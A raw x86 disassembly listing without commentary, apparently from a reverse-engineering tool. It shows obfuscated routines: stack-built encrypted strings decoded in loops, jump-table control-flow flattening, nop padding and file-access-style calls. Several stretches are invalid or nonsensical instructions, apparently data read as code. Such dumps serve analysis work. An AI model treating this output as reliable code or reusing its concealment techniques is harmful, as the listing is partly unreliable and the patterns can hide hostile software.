mov eax, dword [esp + 4]
nop
nop
nop
nop
nop
nop
nop
nop
mov word [ecx], dx
add ecx, 2
movzx edx, word [ebx]
add ebx, 2
test dx, dx
jne 0x422280
jmp 0x422297
mov eax, dword [esp + 4]
mov word [ecx], 0
movzx edx, word [eax]
test dx, dx
lea ebx, [esp + 0xc]
je 0x4222c1
add eax, 2
nop
nop
nop
nop
nop
mov word [ecx], dx
add ecx, 2
movzx edx, word [eax]
add eax, 2
test dx, dx
jne 0x4222b0
mov word [ecx], 0
mov dword [esp + 0xc], 0x590f5b35
mov dword [esp + 0x10], 0x5dec5fd7
mov dword [esp + 0x14], 0x515253f9
mov byte [esp + 0x18], 0
mov eax, 0x2b5ba4ef
nop
nop
nop
nop
nop
nop
nop
nop
movzx ecx, byte [esp + eax - 0x2b5ba4e3]
mov edx, ecx
and edx, eax
add dl, dl
sub cl, dl
movzx ecx, cl
add ecx, eax
add cl, 0x55
mov byte [esp + eax - 0x2b5ba4e3], cl
inc eax
cmp eax, 0x2b5ba4fc
jne 0x4222f0
movzx eax, word [esp + 0xc]
test ax, ax
je 0x422341
lea ecx, [esp + 0xe]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [esi], ax
add esi, 2
movzx eax, word [ecx]
add ecx, 2
test ax, ax
jne 0x422330
mov word [esi], 0
mov dword [esp + 0xc], 0xe1e6e7be
mov word [esp + 0x10], 0
mov byte [esp + 0x12], 0
mov eax, 0x4f62bcd9
nop
movzx ecx, byte [esp + eax - 0x4f62bccd]
xor ecx, eax
mov edx, ecx
and edx, 0xc0
mov esi, ecx
and esi, 2
mov edi, esi
xor edi, 2
imul edi, edx
or edx, 2
imul edx, esi
xor ecx, 0xc2
add ecx, edi
add ecx, edx
inc cl
mov byte [esp + eax - 0x4f62bccd], cl
inc eax
cmp eax, 0x4f62bce0
jne 0x422360
push 0
push 0
push 0xc00000
push ebx
push ebp
push dword [esp + 0x1c]
push dword [esp + 0x7c]
call fcn.00425950
add esp, 0x1c
mov bh, al
jmp dword [0x44b610]
push ebp
call fcn.0040cd50
add esp, 4
or byte [esp + 3], bh
mov eax, dword [case.0x421963.25]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
jmp eax
jmp dword [0x44b628]
push dword [esp + 8]
call fcn.0040cd50
add esp, 4
movzx eax, byte [esp + 3]
add esp, 0x50
pop esi
pop edi
pop ebx
pop ebp
ret
mov edi, dword [esp + 4]
test edi, edi
jns 0x42361f
mov eax, 0xffffffff
jmp 0x423622
lea eax, [edi + edi]
push eax
call fcn.0040cd40
add esp, 4
mov esi, eax
lea eax, [esp + 4]
push eax
push edi
push esi
push ebp
push ebx
push 0
call dword [0x45070c]
jmp dword [0x44b798]
push esi
call fcn.0040cd50
add esp, 4
xor eax, eax
jmp dword [eax*4 + 0x44b7bc]
mov eax, dword [esp + 0x34]
mov dword [esp + 0xc], eax
mov dword [esp + 8], esi
mov dword [esp + 0x10], esi
mov eax, dword [esp + 0x3c]
mov dword [esp + 0x14], eax
mov eax, dword [esp + 0x40]
mov dword [esp + 0x18], eax
mov eax, dword [esp + 0x44]
mov dword [esp + 0x1c], eax
mov dword [esp], 0x4146476e
xor eax, eax
mov ecx, 0x9405e111
mov edx, 0x6bfa1eee
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx edi, byte [esp + eax]
lea ebp, [eax + 0x6bfa1f11]
and ebp, edi
lea esi, [edx - 0x40000000]
or esi, edx
lea ebx, [esi + esi]
not ebx
add ebx, esi
lea esi, [edi + edi]
not esi
add esi, edi
or ebx, esi
mov esi, ecx
xor esi, edi
sub esi, edi
add esi, ebp
mov edi, esi
and edi, ebx
xor ebx, esi
not ebx
add ebx, esi
sub ebx, edi
add bl, 0xab
mov byte [esp + eax], bl
inc eax
inc ecx
dec edx
cmp eax, 4
jne 0x4236a0
mov eax, esp
lea ecx, [esp + 0xc]
push ecx
push 0x425590
push eax
mov esi, dword [esp + 0x14]
push esi
call fcn.00425ad0
add esp, 0x10
mov ebx, eax
jmp dword [0x44b7c4]
push esi
call fcn.0040cd50
add esp, 4
jmp 0x423734
jmp 0x423734
xor ecx, ecx
test byte [esp + 0xc], 0x10
sete cl
mov eax, 1
jmp dword [ecx*4 + 0x44b7ac]
jmp dword [eax*4 + 0x44b7bc]
xor ebx, ebx
mov eax, ebx
add esp, 0x20
pop esi
pop edi
pop ebx
pop ebp
ret
not eax
shr eax, 0x1f
jmp dword [eax*4 + 0x44b7a4]
xor eax, eax
jmp dword [0x44b7b4]
lea eax, [esp + 0xc]
push eax
push esi
call fcn.00444990
add esp, 8
lea eax, [esp + 0xc]
push eax
push esi
call fcn.00444990
add esp, 8
jmp dword [0x44b79c]
int3
jl 0x424357
add byte [eax], al
add bh, al
add edx, dword [eax + eax]
add byte [eax], al
mov dword [ebx], 0x14
push eax
mov ebx, esp
mov dword [esi + 0x18c], ebx
mov word [ecx], es
add byte [eax], al
mov dword [ebx], case.0x421963.35
push eax
mov ebx, esp
mov dword [esi + 0x188], ebx
mov byte [ecx], al
add byte [eax], al
mov dword [ebx], 0x17
push eax
mov ebx, esp
mov dword [esi + 0x19c], ebx
mov dword [ebx], case.0x421963.35
push eax
mov ebx, esp
mov dword [esi + 0x198], ebx
mov dword [ebx], 0x1e
push eax
mov ebx, esp
mov dword [esi + 0x1bc], ebx
mov dword [ebx], case.0x421963.35
push eax
mov ebx, esp
mov dword [esi + 0x1b8], ebx
mov dword [ebx], 0x21
push eax
mov ebx, esp
mov dword [esi + 0x1b4], ebx
mov dword [ebx], case.0x421963.35
push eax
mov ebx, esp
mov dword [esi + 0x1ac], ebx
mov dword [ebx], 0x27
push eax
mov ebx, esp
mov dword [esi + 0x1a4], ebx
mov dword [ebx], case.0x421963.35
push eax
mov ebx, esp
mov dword [esi + 0x1a0], ebx
mov dword [ebx], 0x2c
add bh, al
add esi, dword [eax]
mov dh, 0x44
add byte [eax - 0x77], dl
jecxz 0x424354
sahf
lodsb al, byte [esi]
add dword [eax], eax
add bh, al
add esp, dword [edi]
add byte [eax], al
add byte [eax - 0x77], dl
jecxz 0x424363
sahf
movsb byte es:[edi], byte [esi]
add dword [eax], eax
add bh, al
add esi, dword [eax]
mov dh, 0x44
add byte [eax - 0x77], dl
jecxz 0x424372
sahf
mov al, byte [0xc7000001]
add ebp, dword [eax + eax]
add byte [eax], al
push eax
mov ebx, esp
mov dword [esi + 0x1b0], ebx
mov dword [ebx], case.0x421963.35
push eax
mov ebx, esp
mov dword [esi + 0x1a8], ebx
mov dword [ebx], 0x31
jmp ecx
js 0x4243c0
inc edx
sub eax, 0xcbaa93dc
mov eax, dword [esi + 0x1a8]
mov eax, dword [eax]
mov ecx, dword [esi + 0x1b0]
mov ecx, dword [ecx]
mov eax, dword [ecx + eax*4]
jmp eax
idiv dword [edi - 0x79743ed2]
mov byte [ecx], al
add byte [eax], al
mov eax, dword [eax]
mov ecx, dword [esi + 0x18c]
mov ecx, dword [ecx]
mov eax, dword [ecx + eax*4]
jmp eax
call fcn.0041d270
mov ecx, dword [esi + 0x218]
mov dword [ecx], 0
mov eax, dword [esi + 0x21c]
mov eax, dword [eax]
mov ecx, dword [ecx]
mov eax, dword [eax + ecx*4]
jmp eax
mov eax, dword [esi + 0x160]
mov eax, dword [eax]
sub esp, 4
mov dword [esp], eax
call fcn.0040cef0
add esp, 4
mov ecx, dword [esi + 0x158]
lea ebx, [eax + ecx + 5]
sub esp, 8
mov dword [esp], ebx
mov dword [esp + 4], 0x5c
call fcn.0040cf60
add esp, 8
mov dword [esi + 0x154], ebx
sub eax, ebx
mov ebx, eax
and ebx, 1
or eax, 1
add ebx, eax
mov ecx, ebx
add ecx, ecx
mov eax, 0xffffffff
jb 0x4244bf
mov eax, ecx
sub esp, 4
mov dword [esp], eax
call fcn.0040cd40
sub esp, 0xc
mov ecx, dword [esi + 0x154]
mov dword [esp + 8], ecx
mov dword [esp + 4], ebx
mov ebx, eax
mov dword [esp], ebx
mov dword [esp + 0xc], 0
call case.0x40e7f4.14
mov eax, dword [esi + 0x170]
mov dword [esp + 0xc], eax
mov eax, dword [ebp + 0xc]
mov dword [esp + 8], eax
mov dword [esp + 4], ebx
lea eax, [esi + 0x308]
mov dword [esp], eax
call fcn.00425070
add esp, 0x10
mov cl, byte [esi + 3]
or cl, al
and cl, 1
mov byte [esi + 3], cl
mov ecx, dword [esi + 0x278]
mov dword [ecx], 0
mov eax, dword [esi + 0x27c]
mov eax, dword [eax]
mov ecx, dword [ecx]
mov eax, dword [eax + ecx*4]
jmp eax
mov eax, dword [esi + 0x29c]
mov eax, dword [eax]
mov ecx, dword [esi + 0x2a4]
mov ecx, dword [ecx]
mov eax, dword [ecx + eax*4]
jmp eax
call fcn.0041d270
mov ecx, dword [esi + 0x1c4]
mov dword [ecx], 1
mov eax, dword [esi + 0x1dc]
mov eax, dword [eax]
mov ecx, dword [ecx]
mov eax, dword [eax + ecx*4]
mov edi, dword [esi + 0x1f4]
mov ebx, dword [esi + 0x1e4]
jmp eax
mov cl, al
and ecx, 1
mov edx, dword [esi + 0x1cc]
mov dword [edx], ecx
mov eax, dword [esi + 0x1e8]
mov eax, dword [eax]
mov ecx, dword [edx]
mov eax, dword [eax + ecx*4]
jmp eax
mov dword [0xb6dae58b], eax
invalid
call fcn.0041d270
sub esp, 4
mov dword [esp], ebx
call fcn.0040cd50
add esp, 4
mov ecx, dword [esi + 0x268]
mov dword [ecx], 0
mov eax, dword [esi + 0x26c]
mov eax, dword [eax]
mov ecx, dword [ecx]
mov eax, dword [eax + ecx*4]
jmp eax
mov eax, dword [esi + 0x220]
mov eax, dword [eax]
mov ecx, dword [esi + 0x224]
mov ecx, dword [ecx]
mov eax, dword [ecx + eax*4]
jmp eax
mov dword [esi + 0x64], edi
call fcn.0041d270
mov ecx, dword [esi + 0x204]
mov dword [ecx], 1
mov eax, dword [esi + 0x210]
mov eax, dword [eax]
mov ecx, dword [ecx]
mov eax, dword [eax + ecx*4]
jmp eax
sub esp, 4
mov dword [esp], edi
call fcn.0040cd50
add esp, 4
mov eax, dword [esi + 0x228]
mov eax, dword [eax]
mov ecx, dword [esi + 0x238]
mov ecx, dword [ecx]
mov eax, dword [ecx + eax*4]
jmp eax
call fcn.0041d270
mov ecx, dword [esi + 0x240]
mov dword [ecx], 1
mov eax, dword [esi + 0x24c]
mov eax, dword [eax]
mov ecx, dword [ecx]
mov eax, dword [eax + ecx*4]
jmp eax
mov eax, dword [esi + 0x20]
mov dword [esi + 0x178], eax
mov al, byte [esi + 0xe0]
mov byte [esi + 0xec], al
mov byte [esi + 0xe4], 0xc5
mov byte [esi + 0xe5], 0xda
mov byte [esi + 0xe6], 0xdb
mov byte [esi + 0xe7], 0xd8
mov eax, 4
mov byte [esi + eax + 0xe4], 0
add eax, 1
cmp eax, 7
jne 0x4246a0
xor eax, eax
cmp eax, 7
jae 0x424716
movzx edx, byte [esi + eax + 0xe4]
mov edi, edx
shl edi, 1
xor edi, 0xffffffff
add edi, edx
mov ebx, edi
and ebx, edx
mov ecx, edi
xor ecx, edx
sub ecx, edi
add ecx, ebx
mov edi, 0xb0d4eeb0
sub edi, eax
or ecx, edi
mov edi, edx
shl edi, 1
xor edi, 0xffffffff
add edi, edx
mov edx, eax
add edx, 0x4f2b114f
or edi, edx
and ecx, edi
mov edx, ecx
xor edx, 0xffffffff
shl edx, 1
and edx, 0xe8
xor ecx, 0x8b
add ecx, edx
add cl, 1
mov byte [esi + eax + 0xe4], cl
add eax, 1
jmp 0x4246b2
mov ecx, dword [esi + 0xe4]
xor edi, edi
cmp edi, dword [0x450710]
jb 0x424728
jmp 0x424788
mov eax, dword [0x450714]
cmp dword [eax + edi*8], 0xb62b8d10
sete bl
test bl, 1
jne 0x42473e
jmp 0x42477c
mov eax, dword [eax + edi*8 + 4]
cmp eax, ecx
je 0x42477c
mov dword [esi + 0x15c], ecx
mov ecx, dword [0x450718]
sub esp, 0x10
mov dword [esp], eax
mov dword [esp + 4], ecx
mov dword [esp + 8], 1
mov eax, dword [esi + 0x178]
mov dword [esp + 0xc], eax
call fcn.00441310
mov ecx, dword [esi + 0x15c]
add esp, 0x10
test bl, 1
je 0x424783
jmp 0x424788
add edi, 1
jmp 0x42471e
mov eax, dword [esi + 0x2c4]
mov eax, dword [eax]
mov ecx, dword [esi + 0x2d8]
mov ecx, dword [ecx]
mov eax, dword [ecx + eax*4]
jmp eax
mov eax, dword [ebp + 0x10]
lea ecx, [eax + edi*8]
mov dword [esi + 0x170], ecx
lea edx, [eax + edi*8 + 4]
mov eax, dword [esi + 0x2d4]
mov eax, dword [eax]
mov ecx, dword [esi + 0x2dc]
mov ecx, dword [ecx]
mov eax, dword [ecx + eax*4]
jmp eax
mov eax, dword [esi + 0x260]
mov eax, dword [eax]
mov ecx, dword [esi + 0x264]
mov ecx, dword [ecx]
mov eax, dword [ecx + eax*4]
jmp eax
mov eax, dword [esi + 0x254]
mov eax, dword [eax]
mov ecx, dword [esi + 0x25c]
mov ecx, dword [ecx]
mov eax, dword [ecx + eax*4]
jmp eax
lea ecx, [esi + 0x308]
call fcn.0040e020
mov eax, dword [esi + 0x2b0]
mov eax, dword [eax]
mov ecx, dword [esi + 0x2c8]
mov ecx, dword [ecx]
mov eax, dword [ecx + eax*4]
jmp eax
mov eax, dword [esi + 0x1c0]
mov eax, dword [eax]
mov ecx, dword [esi + 0x1d4]
mov ecx, dword [ecx]
mov eax, dword [ecx + eax*4]
jmp eax
mov eax, dword [esi + 0x230]
mov eax, dword [eax]
mov ecx, dword [esi + 0x244]
mov ecx, dword [ecx]
mov eax, dword [ecx + eax*4]
jmp eax
call fcn.0041d270
mov ecx, dword [esi + 0x2f8]
mov dword [ecx], 1
mov eax, dword [esi + 0x2fc]
mov eax, dword [eax]
mov ecx, dword [ecx]
mov eax, dword [eax + ecx*4]
jmp eax
inc edi
mov eax, dword [esi + 0x234]
mov eax, dword [eax]
mov ecx, dword [esi + 0x248]
mov ecx, dword [ecx]
mov eax, dword [ecx + eax*4]
jmp eax
sub esp, 4
mov eax, dword [esi + 0x150]
mov dword [esp], eax
call fcn.0040cd50
add esp, 4
mov eax, dword [esi + 0x2b4]
mov eax, dword [eax]
mov ecx, dword [esi + 0x2cc]
mov ecx, dword [ecx]
mov eax, dword [ecx + eax*4]
jmp eax
mov eax, dword [esi + 0x20]
sub esp, 0xc
lea ecx, [esi + 0x6c]
mov dword [esp + 4], ecx
mov dword [esp], eax
mov dword [esp + 8], 0
call fcn.00444b50
add esp, 0xc
xor ecx, ecx
test eax, eax
setns al
mov edx, dword [esi + 0x1d0]
mov edx, dword [edx]
mov edi, dword [esi + 0x1ec]
mov edi, dword [edi]
mov edx, dword [edi + edx*4]
jmp edx
call fcn.0041d270
mov ecx, dword [esi + 0x270]
mov dword [ecx], 0
mov eax, dword [esi + 0x274]
mov eax, dword [eax]
mov ecx, dword [ecx]
mov eax, dword [eax + ecx*4]
jmp eax
mov ecx, dword [esi + 0x22c]
mov dword [ecx], 0
mov eax, dword [esi + 0x23c]
mov eax, dword [eax]
mov ecx, dword [ecx]
mov eax, dword [eax + ecx*4]
jmp eax
call fcn.0041d270
mov dword [ebx], 1
mov eax, dword [edi]
mov ecx, dword [ebx]
mov eax, dword [eax + ecx*4]
jmp eax
mov al, cl
and eax, 1
mov ecx, dword [esi + 0x2e8]
mov dword [ecx], eax
mov eax, dword [esi + 0x2ec]
mov eax, dword [eax]
mov ecx, dword [ecx]
mov eax, dword [eax + ecx*4]
jmp eax
lea ecx, [esi + 0x308]
call fcn.0040d830
mov eax, dword [esi + 0x2a8]
mov eax, dword [eax]
mov ecx, dword [esi + 0x2c0]
mov ecx, dword [ecx]
mov eax, dword [ecx + eax*4]
jmp eax
mov dword [esi + 0x160], edx
mov eax, dword [edx]
sub esp, 8
mov dword [esp + 4], eax
mov eax, dword [esi + 0x184]
mov dword [esp], eax
call fcn.00425020
add esp, 8
xor ebx, ebx
mov ecx, eax
mov dword [esi + 0x158], ecx
test eax, eax
sete byte [esi + 0x1c]
mov eax, dword [esi + 0x2ac]
mov eax, dword [eax]
mov ecx, dword [esi + 0x2bc]
mov ecx, dword [ecx]
mov eax, dword [ecx + eax*4]
jmp eax
mov al, byte [esi + 0x1c]
mov bl, al
and ebx, 1
mov ecx, dword [esi + 0x288]
mov dword [ecx], ebx
mov eax, dword [esi + 0x28c]
mov eax, dword [eax]
mov ecx, dword [ecx]
mov eax, dword [eax + ecx*4]
jmp eax
pop ebx
fcom qword [eax - 0x67797472]
add dword [eax], eax
add byte [ebx - 0x63717500], cl
add dword [eax], eax
add byte [ebx - 0x7efb74f7], cl
jmp eax
mov al, byte [esi + 3]
and al, 1
movzx eax, al
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
mov ecx, dword [edx]
mov eax, dword [eax]
mov eax, dword [eax + ecx*4]
jmp eax
mov ecx, dword [esi + 0x2b8]
mov dword [ecx], 0
mov eax, dword [esi + 0x2d0]
mov eax, dword [eax]
mov ecx, dword [ecx]
mov eax, dword [eax + ecx*4]
jmp eax
call fcn.0041d270
xor eax, eax
mov ecx, edi
sub ecx, dword [ebp + 0x14]
setb cl
mov ebx, dword [esi + 0x2f0]
mov dword [ebx], 1
mov edx, dword [esi + 0x2f4]
mov edx, dword [edx]
mov ebx, dword [ebx]
mov edx, dword [edx + ebx*4]
jmp edx
call fcn.0041d270
mov ecx, dword [esi + 0x298]
mov dword [ecx], 1
mov eax, dword [esi + 0x2a0]
mov eax, dword [eax]
mov ecx, dword [ecx]
mov eax, dword [eax + ecx*4]
jmp eax
mov eax, dword [esi + 0x200]
mov eax, dword [eax]
mov ecx, dword [esi + 0x20c]
mov ecx, dword [ecx]
mov eax, dword [ecx + eax*4]
xor edi, edi
jmp eax
mov dh, 0xb4
pop ebx
cmc
mov eax, dword [esi + 0x1b8]
mov eax, dword [eax]
mov ecx, dword [esi + 0x1bc]
mov ecx, dword [ecx]
mov eax, dword [ecx + eax*4]
jmp eax
lea ecx, [esi + 0x308]
sub esp, 4
mov dword [esp], 1
call fcn.0040d7f0
mov eax, dword [ebp + 0xc]
mov ecx, eax
add ecx, 4
mov dword [esi + 0x168], ecx
mov eax, dword [eax + 4]
sub esp, 4
mov dword [esp], eax
call fcn.0041d250
add esp, 4
add eax, 0xa
mov ecx, 2
mul ecx
seto dl
mov ecx, 0xffffffff
test dl, 1
jne 0x424ad4
mov ecx, eax
sub esp, 4
mov dword [esp], ecx
call fcn.0040cd40
add esp, 4
mov dword [esi + 0x150], eax
mov al, byte [esi + 0x18]
mov byte [esi + 0xd8], al
mov byte [esi + 4], 0x58
mov byte [esi + 5], 0xeb
mov byte [esi + 6], 0x7a
mov byte [esi + 7], 0xe9
mov byte [esi + 8], 0x7e
mov byte [esi + 9], 0xef
mov byte [esi + 0xa], 0x45
mov byte [esi + 0xb], 0xed
mov byte [esi + 0xc], 0x46
mov byte [esi + 0xd], 0xd3
mov byte [esi + 0xe], 0x47
mov byte [esi + 0xf], 0xd1
mov byte [esi + 0x10], 0x82
mov byte [esi + 0x11], 0xd7
mov byte [esi + 0x12], pe_nt_image_headers32
mov byte [esi + 0x13], 0xd5
mov byte [esi + 0x14], 0x41
mov byte [esi + 0x15], 0xdb
mov byte [esi + 0x16], 0xda
mov byte [esi + 0x17], 0xd9
xor ebx, ebx
cmp ebx, 0x14
jae 0x424b8b
movzx edi, byte [esi + ebx + 4]
mov ecx, ebx
add ecx, 0x471fbc57
mov eax, ebx
add eax, 0x57
mov edx, ecx
or edx, eax
and edx, edi
shl edx, 1
add ecx, edi
mov eax, ecx
xor eax, edx
xor edx, 0xffffffff
and ecx, edx
shl ecx, 1
sub ecx, eax
mov eax, ecx
shl eax, 1
and eax, 0x98
xor ecx, 0x4c
add ecx, eax
add cl, 1
mov byte [esi + ebx + 4], cl
add ebx, 1
jmp 0x424b43
mov eax, dword [esi + 0x168]
mov eax, dword [eax]
sub esp, 8
mov dword [esp + 4], eax
mov edi, dword [esi + 0x150]
mov dword [esp], edi
call fcn.0040f810
lea ecx, [esi + 4]
mov dword [esp + 4], ecx
mov dword [esp], eax
call fcn.0040f810
sub esp, 0xc
lea eax, [esi + 0x20]
mov dword [esp + 4], eax
mov dword [esp], edi
mov dword [esp + 0x10], 0x60
mov dword [esp + 0xc], 3
mov dword [esp + 8], 0x120089
call fcn.004447e0
add esp, 0x14
xor ecx, ecx
test eax, eax
setns al
mov edi, dword [esi + 0x1d8]
mov dword [edi], 1
mov edx, dword [esi + 0x1f0]
mov edx, dword [edx]
mov edi, dword [edi]
mov edx, dword [edx + edi*4]
jmp edx
call fcn.0041d270
mov ecx, dword [esi + 0x250]
mov dword [ecx], 0
mov eax, dword [esi + 0x258]
mov eax, dword [eax]
mov ecx, dword [ecx]
mov eax, dword [eax + ecx*4]
jmp eax
mov eax, dword [esi + 0x6c]
mov byte [edi + eax], 0
mov al, byte [esi + 0x68]
mov byte [esi + 0xdc], al
mov byte [esi + 0xf0], 0xe5
mov byte [esi + 0xf1], 0xf1
mov byte [esi + 0xf2], 0xea
mov byte [esi + 0xf3], 0xfa
mov byte [esi + 0xf4], 0xe6
mov byte [esi + 0xf5], 0xea
mov byte [esi + 0xf6], 0xfb
mov byte [esi + 0xf7], 0xe0
mov byte [esi + 0xf8], 0xe2
mov byte [esi + 0xf9], 0xee
mov byte [esi + 0xfa], 0x2c
mov byte [esi + 0xfb], 0xe4
mov byte [esi + 0xfc], 0xf1
mov byte [esi + 0xfd], 0xf3
mov byte [esi + 0xfe], 0xf7
mov byte [esi + 0xff], 0xe3
mov byte [esi + 0x100], 0xe4
mov byte [esi + 0x101], 0xf4
mov byte [esi + 0x102], 0x14
mov byte [esi + 0x103], 0x18
mov byte [esi + 0x104], 0xd
mov byte [esi + 0x105], 0x16
mov byte [esi + 0x106], 0x10
mov byte [esi + 0x107], 0x1c
mov byte [esi + 0x108], 0xd2
mov byte [esi + 0x109], 0x1c
mov byte [esi + 0x10a], 0x13
mov byte [esi + 0x10b], 6
mov byte [esi + 0x10c], 0
mov byte [esi + 0x10d], 0x12
mov byte [esi + 0x10e], 0xaa
mov eax, 0x1f
mov byte [esi + eax + 0xf0], 0
add eax, 1
cmp eax, 0x24
jne 0x424d14
xor eax, eax
cmp eax, 0x24
jae 0x424d67
movzx ecx, byte [esi + eax + 0xf0]
mov edx, 0x91
sub edx, eax
or edx, ecx
mov dword [esi + 0x64], edi
mov edi, eax
add edi, 0x6e
mov ebx, eax
add ebx, 0x6e
or edi, ebx
xor edi, 0xffffffff
and ecx, edi
mov edi, dword [esi + 0x64]
xor edx, 0xffffffff
or ecx, edx
add cl, 0xda
mov byte [esi + eax + 0xf0], cl
add eax, 1
jmp 0x424d26
sub esp, 8
lea eax, [esi + 0xf0]
mov dword [esp + 4], eax
mov dword [esp], edi
call fcn.00425020
add esp, 8
xor edx, edx
mov dword [esi + 0x184], eax
test eax, eax
setne dl
mov ecx, dword [esi + 0x208]
mov dword [ecx], edx
mov eax, dword [esi + 0x214]
mov eax, dword [eax]
mov ecx, dword [ecx]
mov eax, dword [eax + ecx*4]
jmp eax
sub edi, edi
movsd dword es:[edi], dword [esi]
les ecx, [ebp + 0x3088e]
add byte [ebx + 0x4c704ec], al
and al, 1
add byte [eax], al
add al, ch
xor al, 0x8a
invalid
mov cl, al
and ecx, 1
mov edx, dword [esi + 0x1c8]
mov dword [edx], ecx
mov eax, dword [esi + 0x1e0]
mov eax, dword [eax]
mov ecx, dword [edx]
mov eax, dword [eax + ecx*4]
jmp eax
in eax, 0x64
push ebx
mov eax, dword es:[esi + 0x1ac]
mov eax, dword [eax]
mov ecx, dword [esi + 0x1b4]
mov ecx, dword [ecx]
mov eax, dword [ecx + eax*4]
jmp eax
mov eax, dword [esi + 0x280]
mov eax, dword [eax]
mov ecx, dword [esi + 0x284]
mov ecx, dword [ecx]
mov eax, dword [ecx + eax*4]
jmp eax
call fcn.0041d270
mov ecx, dword [esi + 0x290]
mov dword [ecx], 0
mov eax, dword [esi + 0x294]
mov eax, dword [eax]
mov ecx, dword [ecx]
mov eax, dword [eax + ecx*4]
jmp eax
mov eax, dword [esi + 0x2e0]
mov eax, dword [eax]
mov ecx, dword [esi + 0x2e4]
mov ecx, dword [ecx]
mov eax, dword [ecx + eax*4]
mov edi, dword [esi + 0x64]
jmp eax
mov eax, dword [esi + 0x6c]
inc eax
sub esp, 4
mov dword [esp], eax
call fcn.0040cd40
add esp, 4
mov edi, eax
mov eax, dword [esi + 0x6c]
mov ecx, dword [esi + 0x20]
sub esp, 0x10
mov dword [esp + 8], eax
mov dword [esp + 4], edi
mov dword [esp], ecx
mov dword [esp + 0xc], 0
call fcn.00444c40
add esp, 0x10
not eax
shr eax, 0x1f
mov ecx, dword [esi + 0x1f8]
mov dword [ecx], eax
mov eax, dword [esi + 0x1fc]
mov eax, dword [eax]
mov ecx, dword [ecx]
mov eax, dword [eax + ecx*4]
jmp eax
mov dword [esi + 0x2fc], edi
call fcn.0041d270
mov ecx, dword [esi + 0x190]
mov dword [ecx], 1
mov eax, dword [esi + 0x194]
mov eax, dword [eax]
mov ecx, dword [ecx]
mov eax, dword [eax + ecx*4]
jmp eax
mov ebp, dword [esp + 0xa0]
mov ecx, dword [ebp + 4]
movzx edx, word [ecx]
mov eax, esi
test dx, dx
je 0x425291
add ecx, 2
mov eax, esi
nop
nop
nop
nop
nop
nop
mov word [eax], dx
add eax, 2
movzx edx, word [ecx]
add ecx, 2
test dx, dx
jne 0x425280
mov word [eax], 0
movzx ecx, word [esp]
test cx, cx
je 0x4252c1
lea edx, [esp + 2]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x4252b0
mov word [eax], 0
movzx ecx, word [ebx]
test cx, cx
je 0x4252f1
add ebx, 2
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [ebx]
add ebx, 2
test cx, cx
jne 0x4252e0
mov word [eax], 0
movzx ecx, word [esp + 0x44]
test cx, cx
je 0x425321
lea edx, [esp + 0x46]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x425310
mov word [eax], 0
mov eax, dword [esp + 0xa4]
mov ebx, dword [eax]
mov eax, 0xfffffffe
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
cmp word [ebx + eax + 2], 0
lea eax, [eax + 2]
jne 0x425340
mov edx, dword [ebp]
mov ecx, 0xfffffffe
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
cmp word [edx + ecx + 2], 0
lea ecx, [ecx + 2]
jne 0x425360
mov edi, dword [ebp + 8]
mov edx, 0xfffffffe
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
cmp word [edi + edx + 2], 0
lea edx, [edx + 2]
jne 0x425380
sar eax, 1
sar ecx, 1
sar edx, 1
add ecx, eax
lea eax, [edx + ecx]
add eax, 0xb
test eax, eax
jns 0x4253a4
mov eax, 0xffffffff
jmp 0x4253ad
add ecx, edx
lea eax, [ecx*2 + 0x16]
push eax
call fcn.0040cd40
add esp, 4
mov edi, eax
mov dword [esp], 0x9333912f
mov dword [esp + 4], 0x9f0a9d08
mov dword [esp + 8], 0x9b069935
mov dword [esp + 0xc], 0x87518517
mov word [esp + 0x10], 0x8180
mov dword [esp + 0x12], 0
mov word [esp + 0x16], 0
xor eax, eax
nop
mov ecx, eax
add cl, 0xe4
xor cl, byte [esp + eax]
add cl, 0x8c
mov byte [esp + eax], cl
inc eax
cmp eax, 0x18
jne 0x4253f0
movzx ecx, word [esp]
mov eax, edi
test cx, cx
je 0x425431
lea edx, [esp + 2]
mov eax, edi
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x425420
mov word [eax], 0
movzx ecx, word [ebx]
test cx, cx
je 0x425461
add ebx, 2
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [ebx]
add ebx, 2
test cx, cx
jne 0x425450
mov word [eax], 0x5f
add eax, 2
mov ecx, dword [ebp]
movzx edx, word [ecx]
test dx, dx
je 0x425491
add ecx, 2
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [eax], dx
add eax, 2
movzx edx, word [ecx]
add ecx, 2
test dx, dx
jne 0x425480
mov word [eax], 0x5f
add eax, 2
mov ecx, dword [ebp + 8]
movzx edx, word [ecx]
test dx, dx
je 0x4254c1
add ecx, 2
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [eax], dx
add eax, 2
movzx edx, word [ecx]
add ecx, 2
test dx, dx
jne 0x4254b0
mov word [eax], 0
mov dword [esp], 0x393a3b6a
mov eax, 0x8b
mov ecx, 0x34
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx ebx, byte [esp + eax - 0x8b]
mov ebp, ecx
and ebp, 0x26
mov edx, eax
and edx, 0x81
or edx, ebp
xor edx, ebx
and ebx, 0x48
add ebx, ebx
xor ebx, 0x10
xor edx, 0x66
add edx, ebx
inc dl
mov byte [esp + eax - 0x8b], dl
inc eax
dec ecx
cmp eax, 0x8f
jne 0x4254e0
mov eax, esp
push 0
push 1
push 0
push eax
push esi
push edi
push dword [esp + 0xb0]
call fcn.00425950
add esp, 0x1c
mov ebx, eax
